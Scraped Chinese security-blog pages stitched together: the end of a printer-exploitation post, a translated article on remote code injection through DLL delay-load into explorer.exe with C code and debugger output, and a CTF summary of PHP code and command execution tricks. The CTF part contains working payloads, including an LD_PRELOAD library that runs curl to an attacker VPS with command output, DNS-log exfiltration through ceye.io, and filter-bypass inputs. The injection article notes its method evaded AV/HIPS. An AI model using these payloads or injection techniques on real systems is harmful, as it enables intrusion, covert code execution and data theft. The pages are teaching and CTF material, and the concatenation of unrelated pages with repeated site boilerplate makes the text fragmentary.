如果我拿到一些更好的打印机,那么我将会继续在这些打印机上研究有关打印机漏洞利用的实验。如果我有更多的时间,我会投入更多的时间去研究对上述家用打印机的漏洞利用。例如捕获固件更新,并尝试对固件执行脱壳和逆向操作,但这些都需要投入更多的时间去研究和分析。所以我现在保持开放的心态,我希望上述的研究和分析能让我保持对打印机漏洞利用研究的兴趣。此外,我希望这篇文章能够帮助到那些对打印机漏洞利用感兴趣的人,并能够学习一些东西。所以如果你想研究自己的打印机设备,Just do it!不过请切记提醒:

找到进入系统的一种方式,

检查使用的打印机语言,并尝试上述这些代码注入技术,

尝试从Web界面dump文件系统目录结构,

如果可以,上传自己创建的“恶意”固件,

找到一种新的漏洞利用方法

最后,我期待着反馈和改进建议。

本文翻译自 0x00sec.org, 原文链接 。如若转载请注明出处。
安全知识

blueSky 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

PHP反序列化入门之寻找POP链(一)
2019-02-26 11:00:59

【缺陷周话】第23期:双重检查锁定
2019-02-26 10:00:40

2019安恒2月月赛Writeip-Web&Crypto&Misc
2019-02-25 16:00:20

安恒杯2019年2月月赛pwn部分详细分析
2019-02-25 15:30:46
|发表评论
发表你的评论吧
昵称
越南邻国宰相
换一个
|评论列表
加载更多
blueSky
这个人太懒了,签名都懒得写一个
文章
40
粉丝
0
TA的文章
【技术分享】详谈WAF与静态统计分析
2017-11-07 16:47:00
【技术分享】那些“躲避”微软autoruns工具的方法
2017-11-07 14:02:37
【技术分享】SnatchLoader恶意软件更新分析
2017-11-03 17:49:50
【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
2017-11-03 10:57:57
【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
2017-11-01 17:27:14
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

src

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP
Previous
Next
热门活动
活动
招聘
招聘
最新动态
·【招聘】加入VIPKID安全中心,一起守护希望的未来!
·好未来教育集团招聘高级安全工程师
·众测|饿了么合作伙伴众测活动第一期开启!
·挖洞天使降临!MiSRC双倍金币活动开启!
·悬赏50万!小米智能生活安全守护计划启动

安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

dnsapi.dll

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP
【技术分享】利用DLL延迟加载实现远程代码注入
阅读量 52258 | 稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-25 13:54:22
译文声明
本文是翻译文章,文章原作者,文章来源:hatriot.github.io
原文地址:http://hatriot.github.io/blog/2017/09/19/abusing-delay-load-dll/

译文仅供参考,具体内容表达以及含义原文为准

×
http://p5.qhimg.com/t01decb9b5afc0bfba1.jpg

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

在本文中,我们将为读者详细介绍一种新型的远程代码注入技术,实际上,这种技术是我在鼓捣延迟加载DLL时发现的。通过该技术,只要这些进程实现了本文所利用的功能:延迟加载DLL,攻击者可以将任意代码注入到正在运行的任何远程进程中。更准确的说,这并不是一个漏洞利用,而是一种潜入其他进程的策略。

现代的代码注入技术通常依赖于两个不同的win32 API调用的变体:CreateRemoteThread和NtQueueApc。然而,最近有人发表了一篇非常棒的文章[0],详细介绍了十种进程注入的方法。当然,这些方法并非都能注入到远程进程中,特别是那些已经在运行的进程,但那篇文章针对最常见的各种注入技术进行了非常细致的讲解,这一点是难能可贵的。而本文介绍的这个策略更像是inline hooking技术,不过我们没有用到IAT,并且也不要求我们的代码已经位于该进程中。我们不需要调用NtQueueApc或CreateRemoteThread,也不需要挂起线程或进程。但是,凡事都会或多或少有一些限制,具体情况将在后文中详细介绍。

延迟加载DLL

延迟加载是一种链接器策略,即允许延迟加载DLL。可执行文件通常会在运行时加载所有必需的动态链接库,然后执行IAT修复。 然而,延迟加载技术却允许这些库直到调用时才加载,为此,可以在第一次调时使用伪IAT进行修复处理。这个过程用下图来进行完美的阐释:

http://p8.qhimg.com/t0111450ce6b3b39dee.png

上图来自1998年Microsoft发布的一篇非常棒的文章[1],尽管该文所描述的策略已经非常棒了,但是这里我们会设法让它更上一个台阶。

通常PE文件中都含有一个名为IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT的数据目录,您可以使用dumpbin/imports或windbg进行查看,其结构描述详见delayhlp.cpp中,读者可以在WinSDK中找到它:

struct InternalImgDelayDescr {
DWORD grAttrs; // attributes
LPCSTR szName; // pointer to dll name
HMODULE * phmod; // address of module handle
PImgThunkData pIAT; // address of the IAT
PCImgThunkData pINT; // address of the INT
PCImgThunkData pBoundIAT; // address of the optional bound IAT
PCImgThunkData pUnloadIAT; // address of optional copy of original IAT
DWORD dwTimeStamp; // 0 if not bound,
// O.W. date/time stamp of DLL bound to (Old BIND)
};
这个表内存放的是RVA,而不是指针。 我们可以通过解析文件头来找到延迟目录的偏移量:

0:022> lm m explorer
start end module name
00690000 00969000 explorer (pdb symbols)
0:022> !dh 00690000 -f
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
[…]
68A80 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
1000 [ D98] address [size] of Import Address Table Directory
AC670 [ 140] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
第一个entry及其延迟链接的DLL可以在以下内容中看到:

0:022> dd 00690000+ac670 l8
0073c670 00000001 000ac7b0 000b24d8 000b1000
0073c680 000ac8cc 00000000 00000000 00000000
0:022> da 00690000+000ac7b0
0073c7b0 “WINMM.dll”
这意味着WINMM是动态地链接到explorer.exe的,由于是延迟加载,所以在导入的函数被调用之前,它是不会被加载到进程中的。一旦加载,帮助函数将通过使用GetProcAddress来定位目标函数并在运行时修复这个表,从而完成IAT的修复工作。

引用的伪IAT与标准PE IAT是分开的;该IAT专用于延迟加载功能,并通过延迟描述符进行引用。例如,就WINMM.dll来说,WINMM的伪IAT为RVA 000b1000。第二个延迟描述符entry的伪IAT具有单独的RVA,其他依此类推。

下面我们使用WINMM来说明延迟加载,资源管理器会从WINMM中导入一个函数,即PlaySoundW。在我实验中,它没有被调用,所以伪IAT还没有修复。 我们可以通过转储的伪IAT条目来查看这一点:

0:022> dps 00690000+000b1000 l2
00741000 006dd0ac explorer!_imp_load__PlaySoundW
00741004 00000000
这里,每个DLL条目都是以null结尾的。上面的指针告诉我们,现有的条目只是在Explorer进程中的跳板。这需要我们:

0:022> u explorer!_imp_load__PlaySoundW
explorer!_imp_load__PlaySoundW:
006dd0ac b800107400 mov eax,offset explorer!_imp__PlaySoundW (00741000)
006dd0b1 eb00 jmp explorer!_tailMerge_WINMM_dll (006dd0b3)
explorer!_tailMerge_WINMM_dll:
006dd0b3 51 push ecx
006dd0b4 52 push edx
006dd0b5 50 push eax
006dd0b6 6870c67300 push offset explorer!_DELAY_IMPORT_DESCRIPTOR_WINMM_dll (0073c670)
006dd0bb e8296cfdff call explorer!__delayLoadHelper2 (006b3ce9)
tailMerge函数是一个链接器生成的存根,它在每个DLL中编译,而不是每个函数。 __delayLoadHelper2函数是处理伪IAT的加载和修补的magic。根据delayhlp.cpp可知,该函数用来处理LoadLibrary/GetProcAddress调用以及修复伪IAT。为了便于演示,我编译了一个延迟链接dnslib的二进制文件。下面是DnsAcquireContextHandle的解析过程:

0:000> dps 00060000+0001839c l2
0007839c 000618bd DelayTest!_imp_load_DnsAcquireContextHandle_W
000783a0 00000000
0:000> bp DelayTest!__delayLoadHelper2
0:000> g
ModLoad: 753e0000 7542c000 C:Windowssystem32apphelp.dll
Breakpoint 0 hit
[…]
0:000> dd esp+4 l1
0024f9f4 00075ffc
0:000> dd 00075ffc l4
00075ffc 00000001 00010fb0 000183c8 0001839c
0:000> da 00060000+00010fb0
00070fb0 “DNSAPI.dll”
0:000> pt
0:000> dps 00060000+0001839c l2
0007839c 74dfd0fc DNSAPI!DnsAcquireContextHandle_W
000783a0 00000000
现在伪IAT条目已被修复,这样在后续调用中就能调用正确的函数了。这样,伪IAT就同时具有可执行和可写属性:

0:011> !vprot 00060000+0001839c
BaseAddress: 00371000
AllocationBase: 00060000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
此时,DLL已经加载到进程中,伪IAT也已修复。当然,并不是所有的函数都能够在加载时进行解析,相反,只有被调用的函数才能这样。 这会让伪IAT中的某些条目处于混合状态:

00741044 00726afa explorer!_imp_load__UnInitProcessPriv
00741048 7467f845 DUI70!InitThread
0074104c 00726b0f explorer!_imp_load__UnInitThread
00741050 74670728 DUI70!InitProcessPriv
0:022> lm m DUI70
start end module name
74630000 746e2000 DUI70 (pdb symbols)
从上面可以看到,这里只是解析了了四个函数中的两个,并将DUI70.dll库加载到了该进程中。在延迟加载描述符的每个条目中,被引用的结构都会为HMODULE维护一个RVA。 如果模块未加载,它将为空。 所以,当调用已经加载的延迟函数时,延迟助手函数将检查它的条目以确定是否可以使用它的句柄:

HMODULE hmod = *idd.phmod;
if (hmod == 0) {
if (__pfnDliNotifyHook2) {
hmod = HMODULE(((*__pfnDliNotifyHook2)(dliNotePreLoadLibrary, &dli)));
}
if (hmod == 0) {
hmod = ::LoadLibraryEx(dli.szDll, NULL, 0);
}
idd结构只是上述InternalImgDelayDescr的一个实例,它将会从链接器tailMerge存根传递给__delayLoadHelper2函数。因此,如果该模块已经被加载,当从延迟条目引用时,它将使用该句柄。

这里另一个注意事项是,延迟加载器支持通知钩子。有六个状态可以供我们挂钩:进程启动,预加载库,加载库出错,预取GetProcAddress,GetProcAddress失败和结束进程。你可以在上面的代码示例中看到钩子的具体用法。

最后,除了延迟加载外,PE文件还支持库的延迟卸载。当然,了解了库的延迟加载后,库的延迟卸载就不用多说了。

DLL延迟加载技术的局限性

在详细说明我们如何利用DLL延迟加载之前,我们首先来了解一下这种技术的局限性。它不是完全可移植的,并且单纯使用延迟加载功能无法实现我们的目的。

它最明显的局限性在于,该技术要求远程进程被延迟链接。我在自己的主机上简单抓取一些本地进程,它们大部分都是一些Microsoft应用程序:dwm,explorer,cmd。许多非Microsoft应用程序也是如此,包括Chrome。 此外,由于PE格式受到了广泛的支持,所以在许多现代系统上都能见到它的身影。

另一个限制,是它依赖于LoadLibrary,也就是说磁盘上必须存在一个DLL。我们没有办法从内存中使用LoadLibrary。

除了实现延迟加载外,远程进程必须实现可以触发的功能。我们需要获取伪IAT,而不是执行CreateRemoteThread、SendNotifyMessage或ResumeThread,因此我们必须能够触发远程进程来执行该操作/执行该功能。如果您使用挂起进程/新建进程策略,虽然这本身并不难,但运行应用程序可能并不容易。

最后,任何不允许加载无符号库的进程都能阻止这种技术。这种特性是由ProcessSignaturePolicy控制的,可以使用SetProcessMitigationPolicy [2]进行相应设置;目前还不清楚有多少应用程序正在使用这些应用程序,但是Microsoft Edge是第一个采用该策略的大型产品之一。此外, 该技术也受到ProcessImageLoadPolicy策略的影响,该策略可以设置为限制从UNC共享加载图像。

利用方法

当讨论将代码注入到进程中的能力时,攻击者可能会想到三种不同的情形,以及远程进程中的一些额外的情况。本地进程注入只是在当前进程中执行shellcode /任意代码。挂起的进程是从现有的受控的进程中产生一个新的挂起的进程,并将代码注入其中。这是一个相当普遍的策略,可以在注入之前迁移代码,建立备份连接或创建已知的进程状态。最后一种情形是运行远程进程。

运行远程进程是一个有趣的情况,我们将在下面探讨其中的几个注意事项。我不会详细介绍挂起的进程,因为它与利用运行的进程的方法基本相同,并且更容易。之所以很容易,因为许多应用程序实际上只在运行时加载延迟库,或者由于该功能是环境所需,或者因为需要链接另一个加载的DLL。这方面的源代码实现请参考文献[3]。

本地进程

本地进程是这个策略中最简单和最有用的一种方式。 如果我们能够以这种方式来注入和执行代码的话,我们也可以链接到我们想要使用的库。我们需要做的第一件事是延迟链接可执行文件。由于某些原因,我最初选择了dnsapi.dll。 您可以通过Visual Studio的链接器选项来指定延迟加载DLL。

因此,我们需要获取延迟目录的RVA,这可以通过以下函数来完成:

IMAGE_DELAYLOAD_DESCRIPTOR*
findDelayEntry(char *cDllName)
{
PIMAGE_DOS_HEADER pImgDos = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pImgNt = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDos + pImgDos->e_lfanew);
PIMAGE_DELAYLOAD_DESCRIPTOR pImgDelay = (PIMAGE_DELAYLOAD_DESCRIPTOR)((LPBYTE)pImgDos +
pImgNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress);
DWORD dwBaseAddr = (DWORD)GetModuleHandle(NULL);
IMAGE_DELAYLOAD_DESCRIPTOR *pImgResult = NULL;
// iterate over entries
for (IMAGE_DELAYLOAD_DESCRIPTOR* entry = pImgDelay; entry->ImportAddressTableRVA != NULL; entry++){
char *_cDllName = (char*)(dwBaseAddr + entry->DllNameRVA);
if (strcmp(_cDllName, cDllName) == 0){
pImgResult = entry;
break;
}
}
return pImgResult;
}
得到了相应的表项后,我们需要将条目的DllName标记为可写,用我们的自定义DLL名称覆盖它,并恢复保护掩码:

IMAGE_DELAYLOAD_DESCRIPTOR *pImgDelayEntry = findDelayEntry(“DNSAPI.dll”);
DWORD dwEntryAddr = (DWORD)((DWORD)GetModuleHandle(NULL) + pImgDelayEntry->DllNameRVA);
VirtualProtect((LPVOID)dwEntryAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect);
WriteProcessMemory(GetCurrentProcess(), (LPVOID)dwEntryAddr, (LPVOID)ndll, strlen(ndll), &wroteBytes);
VirtualProtect((LPVOID)dwEntryAddr, sizeof(DWORD), dwOldProtect, &dwOldProtect);
现在要做的就是触发目标函数。一旦触发,延迟助手函数将从表条目中阻断DllName,并通过LoadLibrary加载DLL。

远程进程

最有趣的方法是运行远程进程。我们将通过explorer.exe进行演示,因为它最为常见。

为了打开资源管理器进程的句柄,我们必须执行与本地进程相同的搜索任务,但这一次是在远程进程中进行的。虽然这有点麻烦,但相关的代码可以从文献[3]的项目库中找到。实际上,我们只需抓取远程PEB,解析图像及其目录,并找到我们所感兴趣的延迟条目即可。

当尝试将其移植到另一个进程时,这部分可能是最不友好的;我们的目标是什么?哪个函数或延迟加载条目通常不会被使用,并且可从当前会话触发?对于资源管理器来说,有多个选择;它延迟链接到9个不同的DLL,每个平均有2-3个导入函数。幸运的是,我看到的第一个函数是非常简单:CM_Request_Eject_PC。该函数是由CFGMGR32.dll导出的,作用是请求系统从本地坞站[4]弹出。因此,我们可以假设在用户从未明确要求系统弹出的情况下,它在工作站上是可用的。

当我们要求工作站从坞站弹出时,该函数发送PNP请求。我们使用IShellDispatch对象来执行该操作,该对象可以通过Shell访问,然后交由资源管理器进行处理。

这个代码其实很简单:

HRESULT hResult = S_FALSE;
IShellDispatch *pIShellDispatch = NULL;
CoInitialize(NULL);
hResult = CoCreateInstance(CLSID_Shell, NULL, CLSCTX_INPROC_SERVER,
IID_IShellDispatch, (void**)&pIShellDispatch);
if (SUCCEEDED(hResult))
{
pIShellDispatch->EjectPC();
pIShellDispatch->Release();
}
CoUninitialize();
我们的DLL只需要导出CM_Request_Eject_PC,这不会导致进程崩溃;我们可以将请求传递给真正的DLL,也可以忽略它。所以,我们就能稳定可靠完成远程代码注入了。

远程进程

一个有趣的情况是要注入的远程进程需延迟加载,但所有导入的函数都已在伪IAT中完成解析了。这就有点复杂了,但也不是完全没有希望。

还记得前面提到的延迟加载库的句柄是否保留在其描述符中吗?帮助函数就是通过检查这个值以确定是否应该重新加载模块的;如果其值为null,就会尝试加载模块,如果不是,它就使用该句柄。我们可以通过清空模块句柄来滥用该检查,从而”欺骗”助手函数,让它重新加载该描述符的DLL。

然而,对于讨论的这种情况来说,伪IAT已经被完全修复了;所以无法将更多的“跳板”可以放入延迟加载帮助函数。 在默认情况下,伪IAT是可写的,所以我们可以直接修改跳板函数,并用它来重新实例化描述符。 简而言之,这种最坏情况下的策略需要三个独立的WriteProcessMemory调用:一个用于清除模块句柄,一个用于覆盖伪IAT条目,一个用于覆盖加载的DLL名称。

结束语

前面说过,我曾经针对下一代AV/HIPS(具体名称这里就不说了)测试过这个策略,它们没有一个能够检测到交叉进程注入策略。针对这种策略的检测看上去是一个有趣的挑战;在远程进程中,策略使用以下调用链:

OpenProcess(..);
ReadRemoteProcess(..); // read image
ReadRemoteProcess(..); // read delay table
ReadRemoteProcess(..); // read delay entry 1…n
VirtualProtectEx(..);
WriteRemoteProcess(..);
触发功能在每个进程之间都是动态的,所有加载的库都是通过一些大家熟知的Windows设备来加载。此外,我还检查了其他一些核心的Windows应用程序,它们都有非常简单的触发策略。

引用的文献[3]提供了对于x86和x64系统的支持,并已在Windows 7,8.1和10中通过了测试。它涉及三个函数:inject_local,inject_suspended和inject_explorer。它通过会到C: Windows Temp TestDLL.dll查找该DLL,但这显然是可以更改的。

特别感谢Stephen Breen审阅了这篇文章。

参考文献

[0] https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

[1] https://www.microsoft.com/msj/1298/hood/hood1298.aspx

[2] https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx

[3] https://github.com/hatRiot/DelayLoadInject

[4] https://msdn.microsoft.com/en-us/library/windows/hardware/ff539811(v=vs.85).aspx

本文翻译自 hatriot.github.io, 原文链接 。如若转载请注明出处。
安全知识

shan66 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

PHP反序列化入门之寻找POP链(一)
2019-02-26 11:00:59

【缺陷周话】第23期:双重检查锁定
2019-02-26 10:00:40

2019安恒2月月赛Writeip-Web&Crypto&Misc
2019-02-25 16:00:20

安恒杯2019年2月月赛pwn部分详细分析
2019-02-25 15:30:46
|发表评论
发表你的评论吧
昵称
匿名用户
换一个
|评论列表
加载更多
shan66
这个人太懒了,签名都懒得写一个
文章
104
粉丝
3
TA的文章
【技术分享】获取SYSTEM权限的多种姿势
2017-11-22 15:28:16
【技术分享】以Emotet为例识别C2服务器并掌握其拓扑结构
2017-11-15 14:01:41
【技术分享】CVE-2017-8715:PowerShell模块清单文件绕过安全补丁
2017-11-13 10:58:17
【技术分享】黑客组织APT28利用DDE漏洞与纽约袭击事件发动攻击
2017-11-13 09:59:59
【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门
2017-11-10 14:58:12
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

运行 命令

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP
命令执行与代码执行的小结
阅读量 125055 | 评论 4 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-20 09:30:56

前记
总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。

代码执行
执行代码的几种方式
${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
${}执行代码

${php代码}

${phpinfo()};
eval()执行代码

eval(‘echo 2;’);
assert()

普通调用

//?a=phpinfo()

assert函数支持动态调用

//?a=phpinfo()

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点


//phpinfo()无法执行成功

//成功执行phpinfo()
preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = ‘phpinfo()’;
$b = preg_replace(“/abc/e”,$b,’abcd’);
create_function()

说明

string create_function ( string $args , string $code )
该函数用来创建匿名函数。
这个函数的实现大概是这样的

$b = create_function(‘$name’,’echo $name;’);
//实现
function niming($name){
echo $name;
}

$b(yang);

niming(‘yang’);
第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码

$a = ‘phpinfo();’;
$b = create_function(” “,$a);
$b();
上面这种方法是最直接的,接下来看一点有趣的。

自己写的小示例

$id=$_GET[‘id’];

$code = ‘echo $name. ‘.’的编号是’.$id.’; ‘;

$b = create_function(‘$name’,$code);
//实现
function niming($name){
echo $name.”编号”.$id;
}
$b(‘sd’);
这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/*
传入后,代码如下

function niming($name){
echo $name.编号2;
}phpinfo();/*
}
这样就执行了代码,再给出网上找的一个例子。


构造的payload如下

?sort_by=”]);}phpinfo();/*
在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下

“;
echo “==============================”;
echo “
“;
$f1 = create_function(‘$a’,$str2);
echo “
“;
echo “==============================”;
?>
纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

本应该挺容易的事儿,但是改来改去花了好久。最终的结果便是开头写的示例。

array_map()

官方文档

array array_map ( callable $callback , array $array1 [, array $… ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
漏洞演示

//?a=assert&b=phpinfo();
$a = $_GET[‘a’];
$b = $_GET[‘b’];
$array[0] = $b;
$c = array_map($a,$array);
call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

call_user_func()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
示例
call_user_func()

// ?a=phpinfo();
call_user_func(assert,$_GET[‘a’]);
call_user_func_array()

//?a=phpinfo();
$array[0] = $_GET[‘a’];

call_user_func_array(“assert”,$array);
array_filter()

官方文档

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例

$array[0] = $_GET[‘a’];
array_filter($array,’assert’);
usort()/uasort()

usrot官方文档

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
shell_1


只有在php5.6以上环境才可使用
详解

关于…$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

shell_2

下面这种写法只在php5.6版本以下可以使用。

// ?1=1+1&2=phpinfo();
usort($_GET,’asse’.’rt’);

命令执行
常见命令执行函数
system()
passthru()
exec()
shell_exec()
`反引号
ob_start()
mail函数+LD_PRELOAD执行系统命令
system()

➜ ~ php -r “system(‘whoami’);”
yang
passthru()

➜ ~ php -r “passthru(‘whoami’);”
yang
exec()

➜ ~ php -r “echo exec(‘whoami’);”
yang%
shell_exec()

➜ ~ php -r “echo shell_exec(‘whoami’);”
yang
`反引号

➜ ~ php -r “echo @`whoami`;”
yang%
ob_start()

官方文档

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
使用


//输出www-data
mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

#include
#include
#include
int main(){

void payload() {
system(“curl http://vps_IP:4123/?a=`whoami`”);
}
int geteuid() {
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
payload();
}
}
编译

gcc -c -fPIC a.c -o a

gcc -shared a -o a.so
mail.php


监听vps的4123端口,访问mail.php。

ctf绕过的小tip
空格

在bash下,可以用以下字符代替空格

< ${IFS} $IFS$9 %09 测试 [email protected]:~/shell$ cat<1.txt abc [email protected]:~/shell$ cat${IFS}1.txt abc [email protected]:~/shell$ cat$IFS$91.txt abc %09测试

//http://127.0.0.1/45.php?cmd=cat%091.txt
//输出abc
敏感字符绕过

这里假设过滤了cat

利用变量绕过
[email protected]:~/shell$ a=c;b=a;c=t;
[email protected]:~/shell$ $a$b$c 1.txt
abc
利用base编码绕过
[email protected]:~/shell$ echo ‘cat’ | base64
Y2F0Cg==
[email protected]:~/shell$ `echo ‘Y2F0Cg==’ | base64 -d` 1.txt
abc
处理无回显的命令执行
1.利用自己的vps

在vps上使用nc监听

➜ ~ nc -lnvp 4567
Listening on [0.0.0.0] (family 0, port 4567)
后台代码


paylaod

curl http://vps_ip/?id=`whoami`
收到回显
1

2.利用ceye平台

平台的payload

记录在http request中

题目地址

http://192.168.10.55/
后台源码


payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
效果

图1
2

记录在dns query中

简单介绍

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子

在注册ceye.io之后会分配一个三级域名。就是**.ceye.io。

ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root.**.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

所以这种方法的使用必须有ping命令。

真题解析

题目存在robots.txt文件,访问发现两个文件

index.txt
where_is_flag.php
index.php代码

“,”0.0”,$ip);
system(“ping “.$ip);
可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx
最终的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看

图2
3

可以看到文件的内容是


由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
图三

4
得到flag。

后记
从开始学打ctf到现在见了挺多的代码执行和命令执行,这次算比较完整的总结了一下,感觉对于我这种萌新还是挺友好的。欢迎师傅们指出不对的地方。

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/162128
安全客 – 有思想的安全新媒体
CTF Web安全

Yang1k 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

PHP反序列化入门之寻找POP链(一)
2019-02-26 11:00:59

【缺陷周话】第23期:双重检查锁定
2019-02-26 10:00:40

2019安恒2月月赛Writeip-Web&Crypto&Misc
2019-02-25 16:00:20

安恒杯2019年2月月赛pwn部分详细分析
2019-02-25 15:30:46
|发表评论
发表你的评论吧
昵称
大表姐
换一个
|评论列表
加载更多
Yang1k
成长ing.
文章
2
粉丝
0
TA的文章
SQL注入的两个小Trick与总结
2018-10-31 11:30:30
命令执行与代码执行的小结
2018-10-20 09:30:56
输入关键字搜索内容
相关文章
PHP反序列化入门之寻找POP链(一)
2019安恒2月月赛Writeip-Web&Crypto&Misc
安恒杯2019年2月月赛pwn部分详细分析
CTF中32位程序调用64位代码的逆向方法
WordPress 5.0 RCE 详细分析
某php开源cms有趣的二次注入
三层网络靶场搭建&MSF内网渗透
热门推荐
文章目录
前记
代码执行
执行代码的几种方式
命令执行
常见命令执行函数
ctf绕过的小tip
处理无回显的命令执行
后记
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

全新勒索病毒爆发

首页
文章

漏洞
SRC导航
内容精选

